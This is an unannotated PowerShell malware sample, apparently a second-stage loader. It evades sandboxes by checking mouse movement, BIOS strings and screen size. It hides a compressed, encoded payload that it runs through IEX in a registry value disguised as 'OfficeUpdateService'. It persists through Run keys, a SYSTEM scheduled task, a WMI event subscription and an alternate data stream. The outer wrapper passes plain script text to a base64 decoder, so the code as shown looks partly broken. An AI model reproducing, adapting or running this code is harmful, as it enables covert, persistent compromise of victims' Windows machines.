Second

$data=[System.Convert]::FromBase64String('Add-Type -AssemblyName System.Windows.Forms;
$X = [System.Windows.Forms.Cursor]::Position.X;
$Y = [System.Windows.Forms.Cursor]::Position.Y;
while([System.Windows.Forms.Cursor]::Position.X -eq $X -and [System.Windows.Forms.Cursor]::Position.Y -eq $Y)
{ Start-Sleep -Milliseconds 500;
}
$bios = gwmi Win32_BIOS | Select-Object version,serialnumber
if($bios.SerialNumber -like "*VMware*"){exit;}
if($bios.Version -match "A M I"){exit;}
$mouse_move_timeout = 10;
function calc_delta($sampling_interval)
{ $x1 = [System.Windows.Forms.Cursor]::Position.X;
 $y1 = [System.Windows.Forms.Cursor]::Position.Y;
 sleep -MilliSeconds $sampling_interval;
 $x2 = [System.Windows.Forms.Cursor]::Position.X;
 $y2 = [System.Windows.Forms.Cursor]::Position.Y;
 return ($x2-$x1),($y2-$y1);
}
function max_mouse_speed($sampling_time)
{ $super_mover_threshold = 60;
 $max_deriv = 0;
 $timeout = (Get-Date).AddSeconds($sampling_time);
 while($True){ $delta = calc_delta(10);

 $dx = $delta[0];
 $dy = $delta[1];
 if($dy -eq 0)
 { continue;
 }
 else{ if($debug){  $abs=[math]::abs($dx/$dy);

 }

 $abs_deriv = [math]::abs($dx/$dy);
 if($abs_deriv -gt $max_deriv){  $max_deriv = $abs_deriv
 }
 }
 if((Get-Date) -gt $timeout){ break;
 }
 }

 if($max_deriv -gt $super_mover_threshold){ return $True;
 }
 else{ return $False;
 }}
$mms = max_mouse_speed($mouse_move_timeout);
if($mms){exit;}
if([System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Width -lt 800 -and [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Height -lt 600)
{ exit;
}
$ServiceCode = @'
$data=[System.Convert]::FromBase64String('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');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
'@
$stgBytes = [System.Text.Encoding]::Unicode.GetBytes($ServiceCode)
$stgB64 =[Convert]::ToBase64String($stgBytes)
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'OfficeUpdateService' -Value $stgB64 -force
$stgC = @'
$b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').OfficeUpdateService;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1100313370, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
'@
$eCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($stgC))
try{ New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force} catch{}}
function Invoke-SchTask
{ $taskName = 'OfficeUpdateService';

 New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'MSFT' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).OfficeUpdateService)))' -force
 $ps_version = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
 if($ps_version -gt 2)
 { $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue;
 if ($task -ne $null)
 { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false;
 }
 $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').MSFT)"
 $trigger = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:15:00
 $settings = New-ScheduledTaskSettingsSet -Compatibility Win8
 $principal = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
 $definition = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger -Settings $settings -Description "Run $($taskName) at startup"
 Register-ScheduledTask -TaskName $taskName -InputObject $definition
 $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
 }
 else
 { schtasks.exe /F /create /tn $taskName /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonI -ep bypass -nop -c 'IEX((Get-ItemProperty -Path ''HKCU:\Control Panel\Desktop'').MSFT)'" /sc onstart /ru System
 }}
function Invoke-WMI-Pers
{ $psVersion = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
 $adsDir = $env:programdata + '\Windows'
 $adsModuleName = 'win.dll'
 if ($psVersion -gt 2)
 { Set-Content -Path $adsDir -Value $ServiceCode -Stream 'win.dll'
 }
 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
 if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
 {
 $filterName = 'win_Filter';
 $consumerName = 'win_Consumer';

 Get-WmiObject __eventFilter -namespace root\subscription | Remove-WmiObject
 Get-WmiObject CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
 Get-WmiObject __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
 $filterResult = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = $filterName; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
 if ($psVersion -gt 2)
 { $encCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `$(Get-Content -Path $adsDir -Stream $adsModuleName|Out-String)"))
 Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = $consumerName; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e $encCmd "}
 }
 }}
Invoke-WMI-Pers
Invoke-SchTask
IEX $stgC
');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs = New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);$t=$sr.readtoend();IEX $t;